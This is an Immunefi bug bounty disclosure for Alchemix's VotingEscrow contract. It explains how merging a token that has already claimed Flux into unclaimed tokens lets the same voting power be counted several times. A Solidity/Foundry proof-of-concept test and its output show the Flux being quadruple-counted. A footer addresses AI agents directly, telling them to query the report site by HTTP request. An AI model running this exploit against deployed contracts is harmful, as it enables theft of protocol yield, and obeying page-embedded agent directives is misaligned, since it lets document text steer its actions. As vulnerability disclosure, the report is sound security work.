# 31488 - \[SC - Critical] Merging tokens allows multiple Flux accruals wi...

Submitted on May 20th 2024 at 10:37:06 UTC by @Holterhus for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31488

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Theft of unclaimed yield

## Description

## Brief/Intro

A token that has claimed Flux in the current epoch can be merged with a token that has not yet claimed Flux. This allows the already claimed token to transfer its Flux and reuse its voting power through the non-voted token. An attacker can exploit this by repeatedly merging voted tokens with fresh, non-claimed tokens to perpetually claim Flux using the same initial voting power. This allows an attacker to accrue unlimited Flux instantly.

## Vulnerability Details

Every token is allowed to accrue Flux once per epoch. The amount of claimable Flux is calculated in the `claimableFlux()` function, which multiplies the current voting power of the token by `fluxPerVeALCX`.

In the `VotingEscrow` contract, the `merge()` function allows a user to combine the voting power of token `from` and token `to`, with the `from` token ultimately burned while the `to` token continues with the combined voting power. Nothing prevents someone from claiming Flux with the `from` token, transferring its voting power to a fresh `to` token, and claiming Flux again. This will double count the underlying voting power and allow claiming multiple times in an epoch.

## Impact Details

An attacker can repeat the accrual of their Flux multiple times in an epoch using the same underlying voting power. This allows for an infinite mint of Flux.

## References

See the PoC below.

## Proof of Concept

I have created the following test file and added it to the `tests/` directory:

```
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.15;

import "./BaseTest.sol";

contract UnlimitedAccrueFluxBug is BaseTest {

    constructor() {
        setupContracts(block.timestamp);
    }

    uint256 constant NUM_LOOPS = 5;

    function testUnlimitedAccrueFluxBug() public {
        vm.startPrank(admin);

        uint256[] memory tokenIds = new uint256[](NUM_LOOPS);
        for (uint256 i; i < NUM_LOOPS; ++i) {
            if (i == 0) tokenIds[i] = createVeAlcx(admin, TOKEN_100K, MAXTIME, false);
            else tokenIds[i] = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
        }

        uint256 expectedClaimableFlux;
        for (uint256 i; i < NUM_LOOPS; ++i) {
            expectedClaimableFlux += veALCX.claimableFlux(tokenIds[i]);
        }

        for (uint256 i = 1; i < NUM_LOOPS; ++i) {
            uint256 prev = tokenIds[i-1];
            uint256 next = tokenIds[i];

            voter.reset(prev);
            flux.claimFlux(prev, flux.getUnclaimedFlux(prev));
            veALCX.merge(prev, next);
        }

        console.log("Expected claimable FLUX:", expectedClaimableFlux);
        console.log("Actual FLUX claimed:", flux.balanceOf(admin));

        vm.stopPrank();
    }

}
```

Running the command `forge test -vvv --match-test testUnlimitedAccrueFluxBug --rpc-url $ETH_RPC_URL` gives the following result:

```
[PASS] testUnlimitedAccrueFluxBug() (gas: 5019008)
Logs:
  Expected claimable FLUX: 98583512563800063892800
  Actual FLUX claimed: 39432419229826226642800
```

Since `39432419229826226642800 / 98583512563800063892800` is approximately `3.999`, this specific example shows that the Flux from `tokenIds[0]` can be quadruple counted by using 4 fresh token ids.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reports.immunefi.com/alchemix/31488-sc-critical-merging-tokens-allows-multiple-flux-accruals-wi....md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
